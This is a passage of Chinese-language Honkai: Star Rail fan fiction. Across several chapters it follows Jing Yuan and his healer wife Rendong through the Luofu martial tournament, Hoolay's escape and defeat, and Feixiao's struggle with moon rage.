她随着景元牵起的动作起身走出星海号,踏入这熟悉的罗浮。同景元一样,嘴角浮现了笑容。
家……这里也成为她的家了呢……
“欢迎来到罗浮,我们的家乡。”
大约回到熟悉安心的环境总会让旅途的疲惫翻涌,虽然带来了客人,但忍冬现在只想赶快回到小院,躺在熟悉的软和床榻上。
她自然的看向身旁的景元,闪动的碧瞳充盈着祈
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求。
“景元元~”
景元无奈捂住额头,抑制不住笑容的连声答应了下来。还发挥自身的主动性,询问了忍冬是否还有什么需要他帮忙的。
“那只折纸小鸟得送回去,玲可他们也需要安排好住宿。至于带回来的礼物……嗯,等我休息好了再一起去送吧。”
忍冬扳着指头数着待做的事项,越数越庆幸。还好景元在,不然她得自己满心疲惫的去做这些……
忍冬抱住景元的手臂,眨巴着双眼恶意卖萌,声音黏答答的假意问他:“你累吗?要不要我帮忙?”
虽嘴里这般说着,但景元察觉自己被紧紧抱住的手臂,笑容中的无奈之色更多了。
他轻轻点了她的鼻尖,叹气说:“不累,夫人快回去休息吧,都快挂景元身上了……”
“好哦~”忍冬乖乖松手,转身离开的背影利落决绝。可见先前的口不对心。
玲可他们没有在意,注意力全然放在了这片繁华的港口上。
景元送走忍冬后,带着齐备的手续文件去了这里设立的地衡司下属机构。在帮助几位客人办好入境手续后,接到通知赶来的彦卿也刚好到达了。
景元把忍冬吩咐的事又转交给了彦卿,转身走向神策府的身影也是十分的利落决绝。
……真是很有夫妻相的两人呢。
彦卿原打算拒绝的,毕竟演武仪典在即,他也被太卜大人安排了很多事需要去做。但将军回来了……
“太卜大人大约会得救吧?”彦卿歪头,转身,提着装有折纸小鸟的鸟笼,笑着的对身后跟着的三人说:“走吧诸位,我带各位去办理住宿手续。”
玲可跟卢卡面面相觑,只有虎克高声欢呼,“好耶!”
之后,在去往选定的旅馆途中,彦卿跟他们互通了身份姓名,玲可卢卡担忧的心才稍稍放下。
而回去小院的忍冬,则是头脑昏沉的越过了较之平常更为繁多的人群。天环族、皮皮西人、智械、这些在罗浮很少见的种族在这一路中,出现得十分频繁。
忍冬忍不住看了一眼,又一眼。
景元虽跟她说过这次演武仪典的目的,但来这么多人……真的不会乘势生乱吗?
而且……忍冬看着自己的玉兆,上面新鲜出炉了几位难得给她发消息的头像。
加上联系方式后很忙没发过几次消息的飞霄,同为医者但同样很忙的椒丘,不熟发了个像通知讯息的貘泽。啊,还有跟她很熟,也发消息最多的云璃……
居然都来了吗?看来仙舟那些老古董还是看不惯景元啊……
少年天才,智计卓越,还亲近帝弓司命,早早就坐上了将军之位……对那些不得不苟延残喘的老古董,很碍眼吧?
“唉……贪婪啊,真是迈不过的门槛……”忍冬想到自己留在景元身上的小藤球,眼里闪过一丝笑意,脚步都在心情的带动下轻快了起来。
她高高兴兴的回到家里,在彦卿的照料下很干净的小院,走入她与景元共同的房间,洗漱后换上睡衣,睡到了红霞漫天的傍晚时分。
52.赌约
睡梦中的忍冬感觉脸上一阵轻柔的瘙痒,下意识用侧脸蹭了蹭枕头,缓解了又沉沉睡去。
但很快,那股痒意卷土重来,让困顿迷蒙的她深深皱起了眉头,她伸手挠了挠,又缓解了下去。
但当它第三次袭来时,忍冬就算大脑困顿也忍不住了,艰难睁开了眼睛,带着一点朦胧的视线里出现了一张笑吟吟的脸。
“景元?”睡后沙哑低沉的声音带着一点鼻音,她迟钝的大脑还没反应过来,怔愣的盯着他的脸直瞧。
“夫人醒了?刚好错过饭点呢~”景元带着点诙谐打趣着说,但手中却诚实的端着一盘明显是为她准备的糕点。
还是忍冬最爱的酸甜口,有华而不实精致外表,一朵朵明艳的梅花样式糕点。
尚未清醒的大脑还没有反应,咕咕直叫的肚子已经自觉驱使了手臂。
景元把盘子放到了能让忍冬便宜拿起的高度,也不阻止,还贴心的提过一旁桌面上的茶壶,给她倒了一杯清茶。
她几口就吃完了一块糕点,吨吨喝了一杯温热带着点点甘甜苦意的清茶,大脑清醒了过来。
忍冬望向景元,对上了他的金眸,里面满是恶作剧得逞的畅快笑意。
“夫人还要再来一点吗?”他的嗓音独有的清朗磁性温和,又显得友善。但那双看着她趣味满满的眼睛,却直白的显露了他捉弄得逞的快乐。
忍冬又捻起了一块梅花糕点,眼神颇有怨念,“景元,你近日可真的越发活泼了……”
“嗯?”景元的唇瓣抿在一起,带着他常年特有的粉白,勾起了一抹稍显无辜的弧度,“夫人不喜欢吗?”
忍冬一口咬掉了半块梅花糕,无奈又幽怨,“喜欢。”
他坐到了床榻上,挨了过来,与忍冬肩靠着肩,眼睛一直注视着她吃东西的腮帮子,眉眼舒缓。
填饱肚子后,忍冬接过景元递来的手帕擦干净了手指,询问他今日的情况如何。
景元:“情况尚还能应对,只不过一如所料,虚陵那边对元帅施压了,朱明和曜青都派了人来。”
景元瞥过忍冬微动的神色,轻叹着说:“看来夫人知道了,约莫是飞霄将军和怀炎大人吧?”
忍冬瞪他一眼,撇了撇嘴,“你都知道了,还问什么?”
景元把放在一旁床榻上空了半碟的糕点盘端到桌面上。坐回去后,忍冬就趴到了他怀里,扯着他散落在胸前的长发不断在指尖打着圈,眼神灼灼。
他抱住她,头靠上肩膀的瞬间,挺直的肩背耷拉了下来。就跟软乎乎平躺在人类怀抱里的猫咪,浑身的骨头好像都没有一样,把全身重量都压到了忍冬身上。
忍冬伸手环过他的脊背,掌下硌着他稍突出一点的脊骨,带着不自觉的撒娇意愿略微抱怨道:“好重……”
景元歪头,用毛茸茸的头顶顶了顶她的颈弯,黏糊糊的说:“对不起……”
忍冬倒不是真的在意这点,只是猫猫这种敞开肚皮任撸的态度,才让她想到什么便说出什么。
他们静静的待了一会儿,当忍冬浑身都染上了景元传递过来的热度,一股墨水、纸页混着一点点清苦药味的气息流传在了两人周身时,她才懒懒的开了口。
“飞霄将军三人都来了,至于怀炎大人那边,是带着云璃。好像就这两方人。但,残留的丰饶孽物,还有动向不明的步离人,大约也会有动作吧……”
景元眉梢低低的,眼皮半阖在眼睛上,无精打采至极,低声补充说:“罗浮上残留的丰饶孽物出不了什么乱子,只不过步离人那边……大约会跟幽囚狱有关了。”
忍冬诧异侧脸看他,“幽囚狱?是呼雷?步离人现在不是有首领吗,这么急着把呼雷弄回去夺权?”
景元脸上浮现了一丝浅浅的苦笑,他闭着眼睛说,“这七百年差不多是这样,但在七百年前,呼雷的时代,步离人可是以残虐的勇武出名的。要不是仙舟内部多方博弈,不能杀掉他,也不用把他关押在幽囚狱那么多年,还年年巡逻不止的防备着。”
忍冬看着景元脸上的思索,眼中闪过的明悟让她揣测出了呼雷带领的步离人跟如今的不同之处。
“也就是说,呼雷的威胁是绝对的武力和狼性。但如今被仙舟压着打的步离人,却染上了人类的阴谋诡计?”
以景元嘴里一直强调的呼雷的残虐勇武,还有她先前所说的争权夺利,可知这些年步离人的方向已经偏离了以前的老祖宗,靠向了人类擅长的方向。
“所以不能让呼雷逃出仙舟,得布布局让他留下了。”景元闭目轻笑,睁开了眼睛看着她,“白日我还头疼又要防备呼雷越狱,又要应对目的不明的来客,回来夫人倒给我心安了~”
“你要用飞霄入局?她确实很适合……”忍冬也忍不住按景元给出的方向思索开了,“有步离人血统的狐人,还有跟步离人相似状态的【月狂】,我现在虽只能压制缓解,但若能有更多样本……”
忍冬说起这些,眼里是不住的期待和理智的冷然。
虽说飞霄算得上她的朋友,但对忍冬来说,还是继续探索自己的能力,早日找到解决魔阴身的方法最重要。毕竟……
她看向了在她肩头打着哈欠,一脸睡意困顿的景元,揉了揉他的头顶,嘴角扬起了柔和的弧度。
你最重要。
景元摇晃的稍抬起头,脸颊软乎乎的对忍冬露出了一个笑容,语调慢吞吞补充,“这次,我还邀请了列车组。有他们作为补救的缓冲,起码不会以很糟的结果收场。夫人不用担心~我不会让夫人面临两难的抉择~”
忍冬满眼都是景元看起来好捏的样子,虽大致听清了他的话,但多少没有往心里去。毕竟两难的抉择?不,这里只有一个选项。
夜深了,罗浮上空的虚拟天幕随着时间渐渐透明,跟宇宙的星空重叠,绚烂的光影在黑沉的幕布上显出特别的浪漫情调。
刚抵达罗浮的星抬头望了一眼,转而低头无所谓的继续向前。
新地图,新地图!她来了!
接下来的几日,忍冬这边岁月静好,景元那边锣鼓喧天。大家各有各的“忙碌”。
就在演武仪典即将召开之际,就像炸药桶内的压力积蓄到了极致,一切隐含在暗中的小动作都浮出了水面。
先是公司的一批机甲检测出问题被扣押,负责人跟罗浮纠缠;接着爆出了罗浮内部官方人员存在被替换现象……更让忍冬头疼的,是彦卿跟云璃的相处,简直是冰火不溶!
她既要关注雅
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利洛三人,也要充当彦卿云璃之间的调解者。
雅利洛那方倒没什么问题,主要是彦卿云璃两人,迟来的让忍冬感到了自身年纪大了。
不然,她为什么搞不懂云璃为何一定要抢彦卿的剑,而彦卿很难跟她沟通的问题……
他们的冲突还导致打了一架,而她匆匆来迟,只能感激的看着飞霄帅气的背影远去。
“解决了?”忍冬没有询问这一架的前因后果,端看两人之间平和下来的气氛,她更关心的还是会不会再有这种心力憔悴的问题。
彦卿惭愧低头,手中拿着云璃归还的飞剑,低声对忍冬道歉:“对不起,师娘,让您担心了……”
“忍冬,抱歉……”云璃也低头了,指尖扭捏的不断绞着,心虚的样子尽显。
忍冬肃穆的脸灿然一笑,一把揽住两个小家伙,“和好了就好,我也不问了。年轻人嘛,打打闹闹的很正常~走,我请你们喝奶茶!难得能有的偷懒时间,不宽慰宽慰自己的五脏庙那可不行~”
两人排排坐喝了奶茶,转身虽仍旧相处有火气,但总算不至于到剑拔弩张的地步了。
听彦卿说,他们还打了个赌约,两人一同教导三月七剑术,谁能教会她,并且在演武仪典夺得高排位,谁就是那场没分出胜负的打斗的胜者,得到仙舟第一剑术天才的名号!
少、少年嘛,总是意气风发,对吧?
“景元?”忍冬喊坐在书桌前沉思不动了十几分钟的他。景元闻声茫然抬头,“啊?”,虽然眼神很快清亮了过来,问她怎么了。
但忍冬还是叹气了,“我说,彦卿跟云璃的关系很好玩,少年意气风发的,让我感觉自己像个满眼迷茫的老古董了。你在想什么呢,那么入神?”
景元没注意前面忍冬的话,他现在的脑子都被正在执行的事占据了。忍冬也不在意,走了过去。
他揽住走过来的忍冬的腰,疲惫的说:“想这工作怎么都做不完,想怎么给那些虎视眈眈的人自然卖出破绽,还想什么时候退休……符卿真是过分,不就让她应对了几日上面来人嘛,现在居然摆烂不干了,事好多啊~”
忍冬虎摸过景元的头,满眼怜悯,“那我可帮不了你,毕竟我不是干这个的。”
“唉~还有新来的司鼎,她师父的事我不知道该不该给她说,她看起来对我很有意见……如果不解决,之后的调度就很难配合好了……”
“还有曜青要接渡呼雷,这铁定会出事啊,这种关头……”
景元的怨气如果能具现化,大约能把全罗浮填满吧。
“那要我给他们动点手脚吗?”忍冬蠢蠢欲动的提议道。
“还是不了,现下的发展正是最适合的。若是不能把内忧外患全钓出来,那我的这番安排可就前功尽弃了……夫人的话,等着病患上门就好,景元一定会把需要的病人送来的~”
大白猫的嘴角勾起了一抹坏心眼的笑意,看来这番倾述,总算让他淤积的内心通畅了。
忍冬按住他一笑就显露出来的微小酒窝,也笑了,“你清楚就好,我会一直站在你身后的。必要时,我也能是你手中的奇兵。”
“景元了解,夫人~天色晚了,睡下吧。明日可又是忙碌的一天啊~”
53.妙手回春
一如那晚的谈话所想,很快,步离人的动作浮出了水面。
而景元和忍冬的好友,他们友善又热情的开拓者小姐,星!成功又抢到了一单!
看着面前这惨兮兮的熟悉偃偶残片,和一旁吱吱啦啦试图顺畅说出一句话的雪衣机巧鸟,还有……
忍冬低头看着暂时占据了小院躺椅的红衣狐人,以及他那双虽然以往一直眯着,在忍冬看来存在感根本没有的眼睛,眼角蜿蜒而下的两道凄惨血痕。
破破烂烂,惨兮兮……
忍冬打发送椒丘过来的星去了厨房,叫她去烧一壶滚烫的热水,以免她一直用担忧又焦急的眼神不断扫射她。
而她的老顾客,对她的手艺深有体会,也不知何时奉上了绝对信任的寒鸦,一见忍冬扫过的眼神,就乖乖把偃偶残片和雪衣机巧鸟都交给了她。
至于跟她没什么接触,仅作为飞霄的下属见过几面的貘泽……倒是把对同僚的担心全写在了动作里,倚在墙角一动不动。
忍冬只是按着自己的行医习惯扫视了一眼环境,见没人发出让她焦躁的眼神或动作后,掏出安置在家里的医药箱就开始动手了。
这几位她有能力应对,也了解不是会出卖她的人,所以忍冬不介意直接表现出自己的能力。
……而且以仙舟如今对丰饶命途的松懈,也不一定会往那些方面想。
忍冬戴上医药箱中她常用的轻薄医用手套,指尖轻捻,一抹银鱼飞跃到了她的指尖。只轻轻一抹,椒丘本来就凄凄惨惨密布割口的手腕处,又出现了一道痕口。
貘泽下意识想起身过去,但忍冬冷酷扫视的眼神又把他定在了原地。
忍冬没有在意,手中动作不停,又各自于椒丘的四肢割出了血口。
本来就被抽取的血液又流了出来,颜色是淡淡的粉。
“果然……”忍冬先前见到椒丘闻到的细微气味没错,她神色沉重的睨了就连昏睡都是眯眯眼的椒丘一眼,呼出了一口浊气。
星这时候也带着烧好的热水和盆过来了。
忍冬暂时收刀,指着星手中装着热水的盆抬眼看向貘泽,“给他把伤口的血痂都撕开,还要用热水擦拭消毒,防止感染。”
貘泽默不作声的走过,从略带不舍的星手中接过软帕,利落的听从忍冬的吩咐,直接开始动手。
椒丘身体内的血液不断流出,本来就雪白的脸色更显苍白。但那带着异香的淡粉色血液,也让在场人明白了为何。
随着血液不断流出,忍冬指尖弹出了一点绿光,就跟弹一颗小球一样,把它弹入了椒丘的体内。
“看着他,直到所有伤口流出的血液都变正常,你才能让他的伤口愈合。毒排干净了,我再来医治他的眼睛。”
忍冬解决完较为紧急的椒丘伤势,转身就去安抚雪衣机巧鸟的精神了。
在这段时间,寒鸦暂时离开了一下。然后带着雪衣的又一具偃身出现了,“姐姐安抚好精神后,可以直接进入这具偃偶之身。现下罗浮内忧外患,十王司不能缺位。”
她虽这般说着,但眼神里担忧的情绪都快溢出来了。看得出来,这番行动并非出自她本人的意愿。
忍冬作为与这些息息相关,但又游离在外的旁观者。她实在不好说什么,说什么感觉都有往他人痛处插刀的嫌疑。
但星就没这顾虑了,她本来还在一旁兴致勃勃的等着貘泽解开椒丘的衣服撕伤口。
但大约是忍冬镇定自信的态度感染了貘泽,让他焦躁的心安定了下来,有时间去顾虑椒丘的人身清白了。
他把眼神灼灼的小浣熊赶开了!
星叹息着走向这边,然后就见到了这副赶着上班的魔鬼社畜场面。
“等等啊!呼雷都跑了,雪衣也受了工伤,十王司不宽慰就算了,怎么还催着伤员上场啊?!怎么着,十王司没人都死绝了?!”
话糙理不糙,干得好,星!
忍冬默默在心里给她竖了个大拇指,并决定下次再给她去收集一些她喜爱的那种彩石头。
寒鸦常年挂着浓重黑眼圈的眼睛静静看着星,也瞟了一眼一副正经模样,完全看不出站哪一方的忍冬。
“十王司……在罗浮却是只有我跟姐姐两位判官。藿藿能力尚还不足,且还是活人,我无法让她去直面呼雷的威胁。而我也要带领一队人搜查鳞渊境的方向……”
捉襟见肘呢……
星沉默了,星眼睛亮了,她的双眼闪闪的,铺满了小星星,“我去!!”
不出所料,乐于助人……啊不,热爱奖励的星上勾了。她欢乐的缠着寒鸦,拍着胸口打包票,说她一定能把这事给她办得美美的。
寒鸦“无奈”答应了。
忍冬见此,在心里打算给星收集更多的彩石头。六百……还是一千吧,为了她此时无视而隐隐作痛的良心。
雪衣跟寒鸦是忍冬的老顾客了,她们认识了五六百年。是直到现在忍冬不再去摆游医小摊,她们都坚持不懈专门找上门来的交情。
所以,解决雪衣动荡的精神很容易。她恢复后很快就进入了寒鸦带来的那具偃偶里,睁开眼变回了忍冬认识的那个雪衣。
“多谢,忍冬小姐,又麻烦你了……”与三无的雪衣不同,寒鸦虽也没有多少表情,但还是能自然表达这些感情的。她轻轻的抱了雪衣一下,拉着她的手跟忍冬点了点头,带着“自觉”上门的星很快走出了小院。
忍冬转身,走向了一旁血腥味浓厚的躺椅处,椒丘的状况已经平和了下来。
她伸指扒看了一下他的眼球,睨了旁边无言的貘泽一眼,两指并拢,绿光一闪,抹过了椒丘的眼睛。
完事拍了拍手,对貘泽说:“带走吧,如果之后还有无法解决的状况再带过来吧。”
貘泽伸手撑起躺椅上的椒丘,脚下的影子耸动就要离开。忍冬想到了什么,又补充了一句,“对了,你们记得做做样子,可别让我成为靶子啊。”
貘泽回头,一张冷酷的酷哥脸看起来乖顺至极的点了点头,“……事毕之后,将军会亲自过来感谢。多谢您肯救椒丘。”
说完,他脚下的阴影涌动,两人的身影也消失在了小院内。
忍冬看了看那张沾染着椒丘粉色血液,看起来像事后现场的躺椅。无奈叹气,手中紫意一过,躺椅很快被腐蚀殆尽,空气中的血腥气被一阵幽幽的曼陀花香取代。
忍冬看了一眼自己雪白的掌心,肤色白嫩,皮肉柔软
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,指腹掌心的红润处闪动着健康的光泽。仅看它,约莫能猜测主人是一位十指不沾阳春水的女子,但实际呢?
啪,双掌合十。手主人嘴角勾着迷人的笑意,眼睫弯弯,闪耀着阳光的折射。她全身笼罩在阳光里,就像一同发着光一样,明亮、温暖。
可她脚下,刚被一位来客启发的思绪,影子泛着骇人的紫意。
“果然……影子也出现问题了……”
曜青幽囚狱一行失败,还导致椒丘重伤。加之那些潜入四处作乱的步离人,所有注视着罗浮的目光都在要求取消演武仪典的举办。
“所以才更不能取消。”景元啪嗒落下一子,面对怀炎若有所思的眼神凝然不语,静心注意着这一局手谈的胜负。
怀炎呵呵笑起来,慈祥的面容跟他现在的年纪很相符。他也悠然落下一子,慢悠悠对景元说:“老朽理解~不进则退,只要景元将军能承担此番后果就可。”
景元嘴角含笑,掀起眼皮笑看了一眼怀炎将军,又把视线落到了棋盘上,悠然说:“棋手若不能稳固自身局面,那这棋局可早就输赢已定。步步为营,围三阙一,此为,执棋手本责。”
“嚯嚯,是极是极~”怀炎也把视线放到了棋盘上。
演武仪典按日召开,罗浮竞锋舰飞跃其上。
欢呼声,礼炮声,一切看起来很热闹的样子。
忍冬也来到了其上,但不是作为观众,而是作为医疗保障人员。
她不清楚景元的具体打算,但她知道,这里会是一处重点布局。
奇兵嘛~她也来当一次吧。
并不出乎预料的,呼雷和那些藏匿的步离人确实登上了竟锋舰。在彦卿和云璃作为三月七的师父瞬间戒备严阵以待时,环绕着的那些观众露出了真实样貌,全是事先安排好的云骑军。
忍冬站在他们身后,远离最前方的战场,眼睛紧盯着跟呼雷打斗的三个孩子,看着他们逐渐落入下风。
就在她忍不住想上前时,彦卿被逼到极致,爆发了,一剑冻结了呼雷,暂时止住了他的动作。
照彻万川……*
忍冬的瞳孔睁大了一息,又很快恢复了原状。她唇角勾起了轻笑,柔和的注视着拼死搏斗的孩子们,打消了上前的想法。
然后就是……飞霄入场,与呼雷缠斗在了一起。
“我都蓝血嗣的气息……哈哈哈,还是跟狐人的混血!!”粗粝的狼吼响彻竞锋舰的每一处,带着畅快的笑意,震得较远处的忍冬耳朵都疼。
她捂住耳朵,皱眉看着兴奋起来的呼雷不明所以。
毕竟她可不是步离人,连狐人都不是,可没法深究这两族的实际渊源。
她出现在这里,一是为防止大规模伤亡,二是为了看顾彦卿和云璃,至于三嘛……想办法搞点步离人尸首,最好割点呼雷的肉让她研究。
【月狂】的课题她还没有解决,而作为丰饶民,步离人的存在也是她想解决魔阴身绕不过的一个对象。
……所以,飞霄加油!砍死他啊!
忍冬的藤蔓把退下的彦卿云璃和三月七裹了过来,一人拍了一团小绿光治疗后,她的注意力又放回了飞霄身上,眼睛紧紧的注意着她的状况。
54.终结
【月狂】,飞霄的能力虽取了一个跟狐人望月发狂的症状很像的名字,但实际上有着很大差别。
狐人跟步离人从血缘论溯,是一脉两枝。但狐人势弱,是步离人欺压奴役,更甚者蚕食的对象。同为药师赐福的生灵,狐人虽也有较长寿命,但步离人获得的却是天然强大的肉身……
更严重的一点是……
“红色的月亮啊……”
忍冬不知道飞霄呼雷之间说了什么,出于安全考虑,她的位置只能看见呼雷不断对飞霄张合的狼嘴。
然后,一轮“赤月”从呼雷身体里飞上了天空,呼雷心口不断流出鲜血,在留下一句“吞下它”后,没有了气息。
一切好似结果向好,但就那一瞬间,忍冬敏锐发现了飞霄的异状。
她的脊背僵直,发尾飞扬,狐耳好像变大了一点,还有……身后隐约有形似尾巴的能量在聚集……
忍冬没有轻举妄动,这种场面她也无法轻举妄动。她四下看了一圈,见都是景元安排的罗浮云骑,心里高挂的悬丝才低低垂落了一点。
虽然以现在的情况来说,飞霄的身世一定会暴露。但还好主动权在她们这方,尚且可以解决。
忍冬眼神坚定,望着前方飞霄的身影暗含着期待。
但一旁的彦卿和云璃他们可没有忍冬这番镇定,他们只知道,如果让飞霄将军在此失控,罗浮绝对会损失惨重!
赤红的“月亮”,准确来说是呼雷的心脏。在它出现后,罗浮的狐人逐渐陷入了癫狂状态。再让它这么继续存在下去,狐人这方绝对会死伤无数。
飞霄下定了决心,被【月狂】影响而逐渐失去控制的肢体慢慢的,慢慢的握住了自己的武器。她的瞳孔震颤着缩成了针尖,眼眶一圈带着猩红,但她的嘴角却显露了笑意。
她回头了,看向了远离这里,远远只能瞧见一抹被云骑掩映的衣角的方向。翠绿的色泽,是仙舟旗袍很喜欢运用的颜色,也是她那位除椒丘外的看病医生最爱的颜色。
忍冬身前挡着的云骑被飞霄猛然看过来的眼神骇得后退了几步,但很快镇定,手中的剑锋如前一般,坚定得没有半分偏移。
她现在的样子应该很可怕吧?飞霄嘴角僵硬的笑容扩大,转头把视线放到了呼雷的那颗心脏上。在彦卿和云璃暗暗移动包围向她的动作里,她高高跃起,瞳孔中映照着那轮赤月,吞了下去。
飞霄的瞳孔彻底失去了神智,化为了血红,恐怖的气势冲向竞锋舰上的每一个人。
忍冬虽也习武,但反应能力尚不及常年习武的彦卿云璃和三月七。他们在飞霄的威压冲向四方,想离开这里之时,一个拦腰,一个抱腿,还有挂在飞霄手臂上的,用全身的力量死死的压着飞霄,想阻止她的失控。
“师娘!!”彦卿大喊。忍冬快速拨开身前警戒保护的云骑,抽出红鞭,向那边跑了过去。
她手中的红鞭在移动中彻底变为了暗紫色,宛如窜动的蛇身,延伸着缠住了飞霄。等彻底制住她后,忍冬立刻转变鞭身的能力,绿中透紫的颜色,在贴近飞霄身体的一侧刺入了隐秘尖刺,注入了镇定的能量。
而于此同时,忍冬立刻望向原来呼雷尸体所在的位置。残余的步离人已经不知何时悄摸着,拖着呼雷的尸体移到了一艘飞槎上。
忍冬面色冷沉,直接幻化了藤蔓,飞速扒拉上了飞槎的尾部,离呼雷尸身手指只差一点儿距离。
“快!带战首的尸身离开!我去拦住他们!”一个在此前的行动中很不起眼的步离人快速嘱咐了剩余的步离人,转身看向忍冬的狼眼残忍决绝。
他跳下了飞槎,连同扯下了忍冬的藤蔓,向她冲了过来。
忍冬知道自身的短板,并不与他争斗,往后一退,彦卿三人就迎了上去。而忍冬则是专注着想拖下已经浮空一段距离的飞槎。
但是啊,步离人这种以狼为本性的生物,在残酷之余,却也有让忍冬难解的忠诚。他们源源不断的从飞槎跳下,带着忍冬不断扒拉上去的藤蔓。一落地,都会一脸狠厉的向忍冬冲来。
周围在此时还能行动的云骑不断跟他们对上。
忍冬注意了一下,这些步离人大多也都带着伤。
……如果专注逃离,把呼雷的尸身丢下,他们未尝不能逃出去。但……为什么呢?
忍冬不清楚这点,她现在知道的是,呼雷的尸身大抵是抢不回来了……
那么,完成自己的一点儿小目标好了。
飞槎已经飞得很高了,忍冬的藤蔓逐渐也够不上了。在她衡量这是最后一次之时,忍冬拼尽全力输出了剩余的力量。在飞槎上最后三个步离人的慌乱撕扯中,她悄悄的,悄悄卷回了一点儿呼雷的血肉。
与此同时,那三个步离人也带着她最后的藤蔓跃下。飞槎彻底飞向了宇宙,此时无法追回了……
忍冬额角冒着细汗,看着远去的飞槎小点,沉沉叹了口气。
此时的飞霄也恢复了神智,她眼神恍惚了一瞬,很快对看过来的忍冬勾起了唇角,嘶哑着嗓音说,“这次也多谢了。”
另一边,景元难得回到了家里的小院。对弈饮茶间,眼神盯着手中转动的小藤球,埋伏的丰饶余孽就被召唤出的神君一刀斩灭。
鳞渊境,星、丹恒和灵砂追寻着步离人幻化狐人,替换罗浮人员的线索,来到了这里。
看见了被几个面色不善的持明挟持的白露和一脸傲然的龙师涛然,还被这家伙说了一通听起来很有道理,但实际全是私心的废话!
涛然用丹恒前任龙尊的身份压他,说联盟中人,不能对同为联盟之人的他动手!
“可我们是无名客呀~小赤佬!”星很生气,嘴巴撅得比在场所有人都高。她看向面色愁苦的白露,直白问道:“白露,你要跟他们走吗?丢下可怜的孤寡忍冬和热心的我?”
白露瞪了没正形的星一眼,郑重的看向丹恒,他也在等着白露的回答。
“我不走!我要跟忍冬一起生活!她是我的朋友,家人……也是我的姐姐,我才不要任这些人摆布!”
丹恒得到准确的回
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答,手中的枪在星还没来得及反应之前,就如同一只疾飞的剑矢,把涛然大力钉在了墙上。
星愤愤的瞪向丹恒,但丹恒没有看她。他看着滑落而下,满脸不可置信的涛然,眼神凌凌,“就如同星所说,我是无名客。仙舟的盟誓,管不了我手中的枪!”*
星见打涛然没自己的份,唰的抽出棒球棍击飞了挟持着白露的家伙,对他们邪肆一笑,露出自己闪亮的大白牙。
她也睥睨着倒地的众人,不屑说:“也管不了我手中的棒球棍!”
白露松了口气,刚才见面起手中就紧捏着的东西不自觉松开了一点儿,是一个绿色绣着一朵小白花的锦囊。
她低头把它挂回了腰上,紧挨着自己的葫芦,小腿倒腾着跑到了星的身后,缩了下来。
灵砂带来的云骑一拥而上,带着绳索捆绑住了龙师一行。她走上前,笑盈盈的谢过丹恒和星,“多谢两位出手相助,帮小女子解决了难题~”
又看向白露,眼神扫过她的腰间,也温声安抚了几句。
之后,灵砂带着云骑押人走了,而星领着丹恒白露去了忍冬家。
三方都结束得恰到好处,时间刚好卡到迎面撞上。
向来冷清的家门口难得挤了如此多的人,忍冬眉梢耷拉了下来,慢吞吞又不动声色的移到了景元身旁,再往后迈步,只露出半边身子。
景元也刚带人解决完罗浮残留的丰饶余孽隐患,还顺带把一些不安好心安插探子生乱的敌人据点拔除,匆匆回来。
他笑睨了把他当挡箭牌躲着的忍冬一眼,对门前的诸位拱了拱手,道歉说:“诸位抱歉,招待不周了~彦卿,快带客人们进去。”
彦卿应了一声,身后跟着别扭瞪着景元的云璃上前,推开了小院的门,带着列车三人组、白露、飞霄走了进去。
而滞留其后的景元伸手牵住忍冬垂在他身旁的手,轻轻捏了一下,低声说:“抱歉夫人,罗浮现下事务尚还没有完结。这几天我得日夜坐镇神策府,家里还望夫人多担待了……”
忍冬用没有被牵住的另一只手捏上了景元的脸,打散了他脸上流露出的歉疚,不满的说:“你什么意思?我是那种会因为你工作忙,不能回家就生气的人吗?!”
“你好好工作,不用担心!我能应付得来!但记得啊,你这话惹我生气了,要给礼物的!”
“唔……夫人想要什么?”景元被捏住腮帮子,说话稍稍有点含糊。他望着忍冬眼里的两汪碧潭,神色怔愣了一息,回神问。
忍冬笑了,松开了捏着他脸的手,对他摆了摆手,走向家门。
“得我喜欢的!不然……哼哼~景元,有你好受的!”,忍冬说这话的话尾,转头犀利的瞪了他一眼,转身就迈步走了进去。
“你不是很忙吗?快回去吧,里面我来解释。回来的时候记得给我带赔罪礼啊~”
景元伸手摸了摸刚被捏过的脸颊,还带着几分残留的热意和一阵迟缓散开的顿感,眼睛缓缓弯了下来。
“遵命,夫人~”
55.演武仪典
走进家门,彦卿已经给诸位客人准备好了座位。七人围坐在小院的凉亭里,观望着丹恒跟飞霄下棋。一旁从客厅拖出来的小边桌上,摆着景元常用的茶壶和一盘缺了角的点心。
说是观望,七人中也只有彦卿、三月七和星会时不时看几眼。而云璃和白露则是守在小边桌旁,嘴里不断嚼着从点心盘里拿出的糕点,还牛饮景元的好茶……
啊,糟糕,听多了景元对他茶叶的爱惜,不自觉就把这个评价安在了云璃和白露身上……
忍冬走向这边的眼神游移了一瞬,在白露发现她高兴的叫她时,又很温和的移了回来,没有半点破绽。
“哎呀,看来棋下不下去了~”飞霄一见忍冬,就把手中捻着难以落定的黑子一扔,声音爽朗的对丹恒报以歉意的一眼。起身动作又快又急,迈着大长腿跨过第一个冲向忍冬的白露。手腕一勾,环过忍冬的脖子,对众人笑笑,拉着她就往一旁走。
“来来~有事跟你说。”
忍冬呆懵的盯着飞霄近在咫尺的脸,脑子有点转不过来,连脖子感到的些微压迫都没让她想起反抗。
她被拖着避过了凉亭,在墙角一处竹林茂密之地停下。飞霄勾着唇角低头看她,湛明的双眸微微下弯。她说:“我知道你藏匿了一点呼雷的血肉。”
忍冬神色一凛,严肃的望着她。
“【月狂】,可以由赤月引发。我可以帮你。”飞霄用简短的语言表明了自己的立场,真挚的看着忍冬。
忍冬敛眉,垂眼避开了飞霄的眼睛,“将军莫不是在说笑?狐人一族对呼雷的在意,我怎敢隐瞒不报?”
就算事先猜测飞霄会站在她这一边,但忍冬还是觉得不妥当,想要试探一番。
毕竟仙舟狐人也不在少数,仙舟内部也有罗浮的敌人,要是走漏她抢到一点呼雷血肉,还隐瞒不报的消息……
这是一把很锋利的刀。
飞霄笑了一声,抬起手,在忍冬瞬间紧绷的眼神注视下,狠狠敲了她的脑袋。
“我是有狐人血统,但你明明知道的,我也算半个步离人。不然,为何上面还未来人,撸掉我的职阶?忍冬,你不老实啊~”
咚的一声,明明实际没有这么响。但在被敲头的本人听来,这声音却好像响彻大脑一样。她唰的抬头,眼神气鼓鼓的瞪向飞霄,“你打我?!”
飞霄挑眉,“打不得?”
忍冬从鼻腔深深呼出一道气息,神色一厉,面色一变。在飞霄等待忍冬将怎样报复回来时,她突然扯开嗓子,满脸委屈的喊了起来。
“还有没有人性了?!两百岁小年轻暴打八百岁老年人了!世风日下啊!!”
那声音,要多活泼有多活泼,反正飞霄这个两百岁小年轻自诩无法像面前这个八百岁老年人这般豁得出面皮。
